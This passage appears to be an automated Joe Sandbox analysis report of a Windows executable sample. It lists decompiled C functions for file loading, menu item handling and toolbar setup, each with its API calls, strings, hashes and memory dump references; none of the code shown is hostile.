API String ID: 829014531-0
Opcode ID: 6200b81327dfea43ee9c050cc864e2eed230069342d055efe4a0762abe705bb0
Instruction ID: 694f48f4c4f816e06a36c5ba2d7d0021b03cf1751e4d5d8e63e0e07acd19be3a
Opcode Fuzzy Hash: 6200b81327dfea43ee9c050cc864e2eed230069342d055efe4a0762abe705bb0
Instruction Fuzzy Hash: 84410C76D01218AFCB14DFA4DD85AEEBBB9EB4C750F108119F915E7680DB749D80CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000F8670 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 176
stringwindowfileCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E000F8670(void* __ecx, void* __eflags, signed int _a4) {
				signed int _v12;
				char _v280;
				CHAR* _v284;
				int _v292;
				void* _v296;
				void _v560;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t47;
				void* _t49;
				void* _t57;
				signed int _t62;
				signed int _t81;
				void* _t82;
				void* _t91;
				signed int _t98;
				CHAR* _t115;
				signed int _t127;

				_t47 =  *0x159060; // 0x1f9a9bdf
				_v12 = _t47 ^ _t127;
				_t125 = __ecx;
				_t121 = __ecx + 0x250;
				_t49 = E000F72C0(_t91, __ecx + 0x250);
				_t133 = _t49;
				if(_t49 != 0 || E000F7370(_t121, _t133) != 0) {
					_t91 = _t125 + 0x108;
					if(E000FB3E0(_t91, _t121, _a4 & 0x0000ffff,  &_v280) == 0) {
						MessageBeep(0x10);
						goto L24;
					}
					_t115 =  &_v280;
					_v284 = _t115;
					_t57 = lstrlenA(_t115) - 1;
					if(_t57 < 0) {
						L9:
						_t121 = CreateFileA( &_v280, 0x80000000, 0, 0, 3, 0x8000080, 0);
						if(_t121 == 0xffffffff) {
							L17:
							MessageBoxA( *(_t125 + 4), "Error reading file!\n", 0x11293e, 0);
							_t98 =  *(_t91 + 4);
							_t114 = _a4 & 0x0000ffff;
							_t62 = _t98 - (_a4 & 0x0000ffff) + 0xe10f;
							__eflags = _t62;
							if(_t62 >= 0) {
								__eflags = _t62 - _t98;
								if(_t62 < _t98) {
									_t114 = _t98 - 1;
									__eflags = _t62 - _t98 - 1;
									if(_t62 != _t98 - 1) {
										__eflags = (_t98 - _t62) * 0x104;
										_t114 = _t62 * 0x104 +  *_t91 + 0x104;
										E000F1240((_t98 - _t62) * 0x104, _t62 * 0x104 +  *_t91, (_t98 - _t62) * 0x104, _t62 * 0x104 +  *_t91 + 0x104, (_t98 - _t62) * 0x104 - 0x104);
									}
									_t44 = _t91 + 4;
									 *_t44 =  *(_t91 + 4) - 1;
									__eflags =  *_t44;
									_t125 = _t91;
									E000FD690(_t114, _t91);
								}
							}
							L22:
							E000FB730(_t91, _t114, _t121);
							goto L24;
						}
						_v296 = _t121;
						_v292 = 0;
						SendMessageA( *(_t125 + 0x254), 0x449, 1,  &_v296);
						CloseHandle(_t121);
						if((0 | _v292 == 0x00000000) == 0) {
							goto L17;
						}
						lstrcpyA(_t125 + 0x2a8,  &_v280);
						lstrcpyA(_t125 + 0x3ac, _v284);
						SendMessageA( *(_t125 + 0x254), 0xb9, 0, 0);
						_t121 = _t125;
						E000F8160(_t125);
						_t114 =  *(_t91 + 4);
						_t81 = _t114 - (_a4 & 0x0000ffff) + 0xe10f;
						if(_t81 < 0 || _t81 >= _t114) {
							goto L22;
						} else {
							_t125 =  *_t91 + _t81 * 0x104;
							_v284 = _t125;
							_t82 = memcpy( &_v560, _t125, 0x41 << 2);
							_t121 = _t125 + 0x82;
							if(_t82 != _t114 - 1) {
								E000F1240(_t114, _v284, _t114,  &(_v284[0x104]), _t114 - 0x104);
							}
							 *(_t91 + 4) =  *(_t91 + 4) - 1;
							if(E000FD980( &_v560, _t91) == 0) {
								goto L22;
							} else {
								_t125 = _t91;
								E000FD690(_t114, _t91);
								E000FB730(_t91, _t114, _t121);
								goto L24;
							}
						}
					} else {
						while( *((intOrPtr*)(_t127 + _t57 - 0x114)) != 0x5c) {
							_t57 = _t57 - 1;
							if(_t57 >= 0) {
								continue;
							}
							goto L9;
						}
						_v284 = _t127 + _t57 - 0x113;
						goto L9;
					}
				} else {
					L24:
					return E001059E6(0, _t91, _v12 ^ _t127, _t114, _t121, _t125);
				}
			}

0x000f8679
0x000f8680
0x000f8685
0x000f8688
0x000f8690
0x000f8695
0x000f8697
0x000f86b1
0x000f86bf
0x000f88a9
0x00000000
0x000f88a9
0x000f86c5
0x000f86ce
0x000f86da
0x000f86db
0x000f86fb
0x000f871a
0x000f871f
0x000f8839
0x000f8849
0x000f884f
0x000f8852
0x000f885a
0x000f885a
0x000f885f
0x000f8861
0x000f8863
0x000f8865
0x000f8868
0x000f886a
0x000f8876
0x000f8883
0x000f888c
0x000f8891
0x000f8894
0x000f8894
0x000f8894
0x000f8897
0x000f8899
0x000f8899
0x000f8863
0x000f889e
0x000f88a0
0x00000000
0x000f88a0
0x000f873a
0x000f8740
0x000f874a
0x000f8751
0x000f8764
0x00000000
0x00000000
0x000f877e
0x000f878e
0x000f87a0
0x000f87a6
0x000f87a8
0x000f87ad
0x000f87b8
0x000f87bd
0x00000000
0x000f87cb
0x000f87d5
0x000f87e2
0x000f87e8
0x000f87e8
0x000f87ef
0x000f880f
0x000f8814
0x000f8817
0x000f8827
0x00000000
0x000f8829
0x000f8829
0x000f882b
0x000f8832
0x00000000
0x000f8832
0x000f8827
0x000f86dd
0x000f86e0
0x000f86e9
0x000f86ea
0x00000000
0x00000000
0x00000000
0x000f86ec
0x000f86f5
0x00000000
0x000f86f5
0x000f88af
0x000f88af
0x000f88c1
0x000f88c1

APIs

Part of subcall function 000F72C0: SendMessageA.USER32(?,000000B8,00000000,00000000), ref: 000F72E4
Part of subcall function 000F72C0: GetParent.USER32(?), ref: 000F72F2
Part of subcall function 000F72C0: wsprintfA.USER32 ref: 000F730D
Part of subcall function 000F72C0: MessageBoxA.USER32 ref: 000F7325

lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 000F86D4
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,08000080,00000000,?,?,?), ref: 000F8714
SendMessageA.USER32(?,00000449,00000001,?), ref: 000F874A
CloseHandle.KERNEL32(00000000,?,?,?), ref: 000F8751
lstrcpyA.KERNEL32(?,?,?,?,?), ref: 000F877E
lstrcpyA.KERNEL32(?,?,?,?,?), ref: 000F878E
SendMessageA.USER32(?,000000B9,00000000,00000000), ref: 000F87A0

Part of subcall function 000F7370: GetActiveWindow.USER32 ref: 000F73AF
Part of subcall function 000F7370: lstrcpyA.KERNEL32(?,?), ref: 000F73EB
Part of subcall function 000F7370: lstrcpyA.KERNEL32(?,?), ref: 000F73F5
Part of subcall function 000F7370: SendMessageA.USER32(?,000000B9,00000000,00000000), ref: 000F7404

Part of subcall function 000FD980: __recalloc.LIBCMT ref: 000FD9CB

Part of subcall function 000FB730: RegCloseKey.ADVAPI32(?,?,?), ref: 000FB789

Strings

Error reading file!, xrefs: 000F8843

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$Sendlstrcpy$Close$ActiveCreateFileHandleParentWindow__recalloclstrlenwsprintf
String ID: Error reading file!
API String ID: 862393817-1254819211
Opcode ID: f35032a6709b921e6580fb0ffefe98971cb200b7118beebeef391da74384e394
Instruction ID: d525cbf8e40091099c8f3cc7e8e6eda77b3c4f428af03b75c12a5e92ff4ec830
Opcode Fuzzy Hash: f35032a6709b921e6580fb0ffefe98971cb200b7118beebeef391da74384e394
Instruction Fuzzy Hash: 8251297160021CABDB189F24CD85BF9B7A9BB48700F04C569FB09DB581EFB4E985DB50

Uniqueness

Uniqueness Score: -1.00%

Function 000F51B0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 130
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E000F51B0(struct HMENU__* __ebx, void* __edx, intOrPtr _a4) {
				signed int _v12;
				struct _OSVERSIONINFOA _v168;
				signed short* _v172;
				struct tagMENUITEMINFOA _v220;
				struct tagMENUITEMINFOA _v268;
				void* __edi;
				void* __esi;
				signed int _t55;
				intOrPtr _t57;
				signed int _t58;
				signed int _t66;
				intOrPtr _t73;
				signed short* _t78;
				int _t92;
				signed short* _t93;
				signed int _t94;
				void* _t95;

				_t77 = __ebx;
				_t55 =  *0x159060; // 0x1f9a9bdf
				_v12 = _t55 ^ _t94;
				_t57 = _a4;
				_t93 =  *(_t57 + 0x10);
				if(_t93 != 0) {
					_t78 =  *(_t57 + 0xc);
					_t58 =  *_t78 & 0x0000ffff;
					_t88 = 0xffff;
					_v172 = _t78;
					while(_t58 != 0xffff) {
						if((_t78[1] & 0x00000001) != 0) {
							_t92 = _t58 & 0x0000ffff;
							if(( *_t93 & 0x00004000) != 0) {
								SetMenuDefaultItem(_t77, 0xffffffff, 0);
								 *_t93 =  *_t93 & 0x0000bfff;
							}
							E00106820( &_v220, 0, 0x30);
							_v220.cbSize = 0x30;
							E00106820( &(_v168.dwMajorVersion), 0, 0x90);
							_t95 = _t95 + 0x18;
							_v168.dwOSVersionInfoSize = 0x94;
							if(GetVersionExA( &_v168) == 0) {
								L10:
								_v220.cbSize = 0x2c;
							} else {
								_t73 = _v168.dwMajorVersion;
								if(_t73 < 5 && (_t73 != 4 || _v168.dwMinorVersion < 0x5a)) {
									goto L10;
								}
							}
							_t66 =  *_t93 & 0x0000ffff;
							_v220.fMask = 1;
							_v220.wID = _t92;
							if((_t66 & 0x00000100) != 0) {
								_v220.fState = _v220.fState | 0x00000003;
							}
							if((_t66 & 0x00000200) != 0) {
								_v220.fState = _v220.fState | 0x00000008;
							}
							if((_t66 & 0x00001000) != 0) {
								_v220.fState = _v220.fState | 0x00001000;
							}
							if((_t66 & 0x00002000) != 0) {
								E00106820( &_v268, 0, 0x30);
								_t95 = _t95 + 0xc;
								_v268.cbSize = 0x30;
								if(E000F4890(_t77, _t92, _t93) != 0) {
									_v268.cbSize = 0x2c;
								}
								_v268.fMask = 0x10;
								_v268.wID = _t92;
								if(GetMenuItemInfoA(_t77, _t92, 0,  &_v268) != 0) {
									_v220.fMask = _v220.fMask | 0x00000010;
									_v220.fType = _v220.fType | _v268.fType & 0xfffff7fb;
									_v220.dwTypeData = _t93[2];
								}
							}
							SetMenuItemInfoA(_t77, _t92, 0,  &_v220);
							_t78 = _v172;
						}
						_t58 = _t78[2] & 0x0000ffff;
						_t78 =  &(_t78[2]);
						_t88 = 0xffff;
						_t93 =  &(_t93[4]);
						_v172 = _t78;
					}
					return E001059E6(0, _t77, _v12 ^ _t94, _t88, _t92, _t93);
				} else {
					return E001059E6( &(_t93[0]), __ebx, _v12 ^ _t94, __edx, _t92, _t93);
				}
			}

0x000f51b0
0x000f51b9
0x000f51c0
0x000f51c3
0x000f51c7
0x000f51cd
0x000f51e4
0x000f51e7
0x000f51ea
0x000f51ef
0x000f51f8
0x000f5202
0x000f5208
0x000f5213
0x000f521a
0x000f5225
0x000f5225
0x000f5233
0x000f5249
0x000f5253
0x000f5258
0x000f5262
0x000f5274
0x000f528f
0x000f528f
0x000f5276
0x000f5276
0x000f527f
0x00000000
0x00000000
0x000f527f
0x000f5299
0x000f529c
0x000f52a6
0x000f52b1
0x000f52b3
0x000f52b3
0x000f52bf
0x000f52c1
0x000f52c1
0x000f52cd
0x000f52cf
0x000f52cf
0x000f52de
0x000f52eb
0x000f52f0
0x000f52f3
0x000f5304
0x000f5306
0x000f5306
0x000f531b
0x000f5325
0x000f5333
0x000f533e
0x000f534b
0x000f5351
0x000f5351
0x000f5333
0x000f5362
0x000f5368
0x000f5368
0x000f536e
0x000f5372
0x000f5375
0x000f537a
0x000f537d
0x000f5383
0x000f539d
0x000f51cf
0x000f51e1
0x000f51e1

APIs

SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 000F521A
_memset.LIBCMT ref: 000F5233
_memset.LIBCMT ref: 000F5253
GetVersionExA.KERNEL32(?), ref: 000F526C
_memset.LIBCMT ref: 000F52EB
GetMenuItemInfoA.USER32 ref: 000F532B
SetMenuItemInfoA.USER32(?,?,00000000,0000002C), ref: 000F5362

Strings

,, xrefs: 000F5306
Z, xrefs: 000F5286
,, xrefs: 000F528F

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: ItemMenu_memset$Info$DefaultVersion
String ID: ,$,$Z
API String ID: 3121610409-2789403577
Opcode ID: e584b7cc95e5f9fed2311bde4c8a41bad05827b357b342f5defdfa97ac7d1c5e
Instruction ID: 71316f74ef96409ae8686e5be8be073ee592db490ad2a909b9a4ebe56efe8dba
Opcode Fuzzy Hash: e584b7cc95e5f9fed2311bde4c8a41bad05827b357b342f5defdfa97ac7d1c5e
Instruction Fuzzy Hash: 4151E2719003189BEBA4CF14DC45BFAB7B4EF55701F0481AAEB89A66C0D7B09AC4DF50

Uniqueness

Uniqueness Score: -1.00%

Function 000FD0D0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E000FD0D0(struct HWND__* __esi, struct HWND__* _a4, intOrPtr _a8) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				void* _v24;
				struct HWND__* _v28;
				intOrPtr _v40;
				intOrPtr _v56;
				int _v64;
				intOrPtr _v68;
				int _v72;
				struct HWND__* _v76;
				int _v88;
				signed int _v100;
				char _v104;
				void* _v108;
				void* __ebx;
				void* __edi;
				signed int _t43;
				int _t53;
				int _t66;
				void* _t81;
				struct HWND__* _t82;
				signed int _t83;

				_t82 = __esi;
				_t43 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t43 ^ _t83;
				_t81 = SendMessageA;
				_v28 = _a4;
				_t66 = SendMessageA(__esi, 0x418, 0, 0);
				_v108 = 0x50;
				E00106820( &_v104, 0, 0x4c);
				_v104 = 0x371;
				_v100 = 4;
				if(_t66 > 0) {
					_v100 = 0x204;
				}
				if(_a8 != 0) {
					_v100 = _v100 | 0x00000001;
				}
				_v88 = 0;
				_v76 = _t82;
				_v56 = SendMessageA(_v28, 0x40c, 0, 0) + 0xeb00;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				if(_t66 <= 0) {
					GetWindowRect(_t82,  &_v24);
					_t53 = _v16 - _v24;
					_v64 = _t53;
					_v72 = 0;
					_v68 = _v12 - _v20;
				} else {
					SendMessageA(_t82, 0x41d, _t66,  &_v24);
					_v64 = _v16;
					_v68 = _v12 - _v20;
					SendMessageA(_t82, 0x41d, 0,  &_v24);
					_t53 = _v64;
					_v72 = _v16;
				}
				_v40 = _t53;
				if(SendMessageA(_v28, 0x401, 0xffffffff,  &_v108) != 0) {
					SendMessageA(_t82, 0x454, 0, SendMessageA(_t82, 0x455, 0, 0) | 0x00000010);
					return E001059E6(1, _t66, _v8 ^ _t83,  &_v108, _t81, _t82);
				} else {
					return E001059E6(_t55, _t66, _v8 ^ _t83,  &_v108, _t81, _t82);
				}
			}

0x000fd0d0
0x000fd0d6
0x000fd0dd
0x000fd0e5
0x000fd0f5
0x000fd102
0x000fd104
0x000fd10b
0x000fd113
0x000fd11a
0x000fd123
0x000fd125
0x000fd125
0x000fd130
0x000fd132
0x000fd132
0x000fd143
0x000fd14a
0x000fd154
0x000fd159
0x000fd15c
0x000fd15f
0x000fd162
0x000fd167
0x000fd1a4
0x000fd1ad
0x000fd1b6
0x000fd1b9
0x000fd1c0
0x000fd169
0x000fd175
0x000fd18c
0x000fd18f
0x000fd192
0x000fd197
0x000fd19a
0x000fd19a
0x000fd1c9
0x000fd1d9
0x000fd203
0x000fd219
0x000fd1dd
0x000fd1ea
0x000fd1ea

APIs

SendMessageA.USER32(00000000,00000418,00000000,00000000), ref: 000FD0F8
_memset.LIBCMT ref: 000FD10B
SendMessageA.USER32(?,0000040C,00000000,00000000), ref: 000FD14D
SendMessageA.USER32(00000000,0000041D,00000000,000F7DB7), ref: 000FD175
SendMessageA.USER32(00000000,0000041D,00000000,000F7DB7), ref: 000FD192
GetWindowRect.USER32 ref: 000FD1A4
SendMessageA.USER32(?,00000401,000000FF,00000050), ref: 000FD1D5
SendMessageA.USER32(00000000,00000455,00000000,00000000), ref: 000FD1F5
SendMessageA.USER32(00000000,00000454,00000000,00000000), ref: 000FD203

Strings

P, xrefs: 000FD104

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSend$RectWindow_memset
String ID: P
API String ID: 1972968356-3110715001
Opcode ID: f17ccc4c70b4cc62eee172da15984c7a66308763bffc8d7d7fbd9ae3d865e26b
Instruction ID: 33a802ca47861551dfe4968b540be9204b705df345517e3c4767d0c116dcbab2
Opcode Fuzzy Hash: f17ccc4c70b4cc62eee172da15984c7a66308763bffc8d7d7fbd9ae3d865e26b
Instruction Fuzzy Hash: CD411DB1E0030CAFEB10DFA8DD85BEEBBB9AF44704F10411AE604BB280D7B46A45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 000FE542 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 107
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E000FE542() {
				intOrPtr _t59;
				int _t65;
				signed int _t67;
				CHAR* _t69;
				struct HMENU__* _t76;
				void* _t78;
				CHAR* _t80;
				intOrPtr _t81;
				intOrPtr _t94;
				struct HMENU__* _t96;
				void* _t97;
				struct HMENU__* _t98;
				int _t99;
				void* _t101;
				int _t103;
				signed int _t104;
				void* _t106;

				_t99 =  *(_t104 - 0x9c);
				_t96 =  *(_t104 - 0x90);
				while(1) {
					_t80 =  *(_t103 + 4);
					if(_t80 != 0 && _t98 > lstrlenA(_t104 - 0x84)) {
						lstrcpyA(_t80, _t104 - 0x84);
					}
					_t93 = _t104 - 0xcc;
					 *(_t104 - 0xac) = _t103;
					SetMenuItemInfoA( *(_t104 - 0x8c),  *(_t104 - 0x88), 1, _t104 - 0xcc);
					_t76 =  *(_t104 - 0x8c);
					_t96 =  *(_t104 - 0x94);
					goto L22;
					do {
						do {
							L22:
							_t99 =  *(_t104 - 0x88) + 1;
							 *(_t104 - 0x88) = _t99;
							if(_t99 >= GetMenuItemCount(_t76)) {
								 *(_t104 - 0x90) = _t76;
								E00101C50(_t104 - 0x90, _t96 + 0x14);
								_t59 =  *((intOrPtr*)(_t104 - 0x98));
								 *[fs:0x0] =  *((intOrPtr*)(_t104 - 0xc));
								_pop(_t97);
								_pop(_t101);
								_pop(_t78);
								__eflags =  *(_t104 - 0x18) ^ _t104;
								return E001059E6(_t59, _t78,  *(_t104 - 0x18) ^ _t104, _t93, _t97, _t101);
							} else {
								goto L2;
							}
							L26:
							L2:
							E00106820(_t104 - 0xcc, 0, 0x30);
							_t106 = _t106 + 0xc;
							 *(_t104 - 0xcc) = 0x30;
							if(E000F4890(_t76, _t96, _t99) != 0) {
								 *(_t104 - 0xcc) = 0x2c;
							}
							_t93 = _t104 - 0xcc;
							 *((intOrPtr*)(_t104 - 0xa4)) = 0x64;
							 *((intOrPtr*)(_t104 - 0xc8)) = 0x3f;
							 *((intOrPtr*)(_t104 - 0xa8)) = _t104 - 0x84;
							GetMenuItemInfoA(_t76, _t99, 1, _t104 - 0xcc);
							_t110 =  *(_t104 - 0xc4) & 0x00000100;
						} while (( *(_t104 - 0xc4) & 0x00000100) != 0);
						_push(0x14);
						 *((intOrPtr*)(_t104 - 0xc8)) = 0x31;
						 *(_t104 - 4) = 1;
						_t65 = E001065FC(_t93, _t96, _t99, _t110);
						_t106 = _t106 + 4;
						if(_t65 == 0) {
							_t103 = 0;
							__eflags = 0;
							 *(_t104 - 0x9c) = 0;
						} else {
							 *_t65 = 0x1313;
							_t103 = _t65;
							 *(_t104 - 0x9c) = _t65;
						}
						 *(_t104 - 4) = 0;
					} while (_t103 == 0);
					 *(_t103 + 8) =  *(_t104 - 0xc4);
					 *((intOrPtr*)(_t103 + 0xc)) =  *((intOrPtr*)(_t104 - 0xc0));
					 *(_t104 - 0xc4) =  *(_t104 - 0xc4) | 0x00000100;
					 *(_t103 + 0x10) = 0xffffffff;
					_t94 =  *((intOrPtr*)(_t96 + 0x50));
					_t67 = 0;
					if(_t94 <= 0) {
						L15:
						_t33 = lstrlenA(_t104 - 0x84) + 1; // 0x1
						_t98 = _t33;
						_push(_t98);
						 *(_t104 - 0x90) = _t98;
						 *(_t103 + 4) = 0;
						 *(_t104 - 4) = 3;
						_t69 = E00105DD7(_t104 - 0x84, _t98, _t103, _t117);
						_t106 = _t106 + 4;
						 *(_t103 + 4) = _t69;
						 *(_t104 - 4) = 0;
						continue;
					} else {
						_t81 =  *((intOrPtr*)(_t104 - 0xbc));
						while(_t67 >= 0 && _t67 < _t94) {
							if(( *( *((intOrPtr*)(_t96 + 0x4c)) + _t67 * 2) & 0x0000ffff) == _t81) {
								 *(_t103 + 0x10) = _t67;
								goto L15;
							} else {
								_t67 = _t67 + 1;
								_t117 = _t67 - _t94;
								if(_t67 < _t94) {
									continue;
								} else {
									goto L15;
								}
							}
							goto L26;
						}
						RaiseException(0xc000008c, 1, 0, 0);
						 *(_t104 - 4) = 0;
						return E000FE542;
					}
					goto L26;
				}
			}

0x000fe542
0x000fe548
0x000fe54e
0x000fe54e
0x000fe553
0x000fe56e
0x000fe56e
0x000fe580
0x000fe58b
0x000fe591
0x000fe597
0x000fe59d
0x000fe59d
0x000fe5a3
0x000fe5a3
0x000fe5a3
0x000fe5a9
0x000fe3ce
0x000fe3dc
0x000fe5af
0x000fe5be
0x000fe5c3
0x000fe5cc
0x000fe5d4
0x000fe5d5
0x000fe5d6
0x000fe5da
0x000fe5e4
0x00000000
0x00000000
0x00000000
0x00000000
0x000fe3e2
0x000fe3ed
0x000fe3f2
0x000fe3f5
0x000fe406
0x000fe408
0x000fe408
0x000fe412
0x000fe423
0x000fe42d
0x000fe437
0x000fe43d
0x000fe443
0x000fe443
0x000fe453
0x000fe455
0x000fe45f
0x000fe463
0x000fe468
0x000fe46d
0x000fe47f
0x000fe47f
0x000fe481
0x000fe46f
0x000fe46f
0x000fe475
0x000fe477
0x000fe477
0x000fe487
0x000fe48e
0x000fe49c
0x000fe4a5
0x000fe4a8
0x000fe4b2
0x000fe4b9
0x000fe4bc
0x000fe4c0
0x000fe4e2
0x000fe4ef
0x000fe4ef
0x000fe4f4
0x000fe4f5
0x000fe4fb
0x000fe4fe
0x000fe502
0x000fe507
0x000fe50a
0x000fe50d
0x00000000
0x000fe4c2
0x000fe4c2
0x000fe4c8
0x000fe4db
0x000fe51f
0x00000000
0x000fe4dd
0x000fe4dd
0x000fe4de
0x000fe4e0
0x00000000
0x00000000
0x00000000
0x00000000
0x000fe4e0
0x00000000
0x000fe4db
0x000fe52f
0x000fe535
0x000fe541
0x000fe541
0x00000000
0x000fe4c0

APIs

GetMenuItemCount.USER32 ref: 000FE3D4
_memset.LIBCMT ref: 000FE3ED
GetMenuItemInfoA.USER32 ref: 000FE43D
lstrlenA.KERNEL32(?), ref: 000FE4E9
lstrlenA.KERNEL32(?), ref: 000FE55C
lstrcpyA.KERNEL32(?,?), ref: 000FE56E
SetMenuItemInfoA.USER32(?,?,00000001,0000002C), ref: 000FE591

Strings

1, xrefs: 000FE455
,, xrefs: 000FE408
d, xrefs: 000FE423

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: ItemMenu$Infolstrlen$Count_memsetlstrcpy
String ID: ,$1$d
API String ID: 4062197468-1943914033
Opcode ID: 62945a7389cafeea5fc35d0334a3f7117d9e2db6886ec4b2b625f0730203ab7b
Instruction ID: e151cf847067d8a4f1b101565f6c91a26760aec53e995431d58101ddd9675fb9
Opcode Fuzzy Hash: 62945a7389cafeea5fc35d0334a3f7117d9e2db6886ec4b2b625f0730203ab7b
Instruction Fuzzy Hash: D4414B70D01669DFEB24CF20CD84BA9B7B5BF44704F1081D8E649A7691EBB4AE84DF60

Uniqueness

Uniqueness Score: -1.00%

Function 000FE95B Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 97
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E000FE95B(void* __esi) {
				void* __ebx;
				intOrPtr* _t52;
				CHAR* _t53;
				intOrPtr _t57;
				int _t58;
				void* _t59;
				char _t65;
				struct HMENU__* _t68;
				void* _t69;
				signed short _t70;
				void* _t72;
				void* _t73;
				signed int _t74;
				void* _t76;

				_t72 = __esi;
				do {
					_t68 =  *(_t74 - 0x15c);
					E00106820(_t74 - 0x190, 0, 0x30);
					 *(_t74 - 0x190) = 0x30;
					E00106820(_t74 - 0x13c, 0, 0x90);
					_t76 = _t76 + 0x18;
					_t67 = _t74 - 0x140;
					 *(_t74 - 0x140) = 0x94;
					if(GetVersionExA(_t74 - 0x140) == 0) {
						L6:
						 *(_t74 - 0x190) = 0x2c;
					} else {
						_t57 =  *((intOrPtr*)(_t74 - 0x13c));
						if(_t57 < 5 && (_t57 != 4 ||  *((intOrPtr*)(_t74 - 0x138)) < 0x5a)) {
							goto L6;
						}
					}
					 *((intOrPtr*)(_t74 - 0x168)) = 0x64;
					 *((intOrPtr*)(_t74 - 0x18c)) = 0x3f;
					 *((intOrPtr*)(_t74 - 0x16c)) = _t74 - 0x70;
					if(GetMenuItemInfoA(_t68, _t58, 1, _t74 - 0x190) == 0 || ( *(_t74 - 0x188) & 0x00000800) != 0) {
						goto L20;
					} else {
						_t52 =  *((intOrPtr*)(_t74 - 0x170));
						if(_t52 == 0 ||  *_t52 != 0x1313) {
							goto L20;
						} else {
							_t53 =  *(_t52 + 4);
							if(_t53 == 0) {
								goto L20;
							} else {
								_t65 =  *_t53;
								if(_t65 == 0) {
									goto L20;
								} else {
									while(_t65 != 0x26) {
										_t53 = CharNextA(_t53);
										_t65 =  *_t53;
										if(_t65 != 0) {
											continue;
										} else {
											goto L20;
										}
										goto L23;
									}
									if( *_t53 == 0) {
										goto L20;
									} else {
										_t67 = _t53[1];
										 *((intOrPtr*)(_t74 - 0x160)) = CharLowerA( *(_t74 + 8) & 0x0000ffff);
										if(CharLowerA(_t53[1] & 0x0000ffff) !=  *((intOrPtr*)(_t74 - 0x160))) {
											goto L20;
										} else {
											if( *((char*)(_t74 - 0x141)) != 0) {
												 *(_t74 - 0x148) = 3;
											} else {
												_t67 = _t58 & 0x0000ffff;
												 *(_t74 - 0x150) = _t58 & 0x0000ffff;
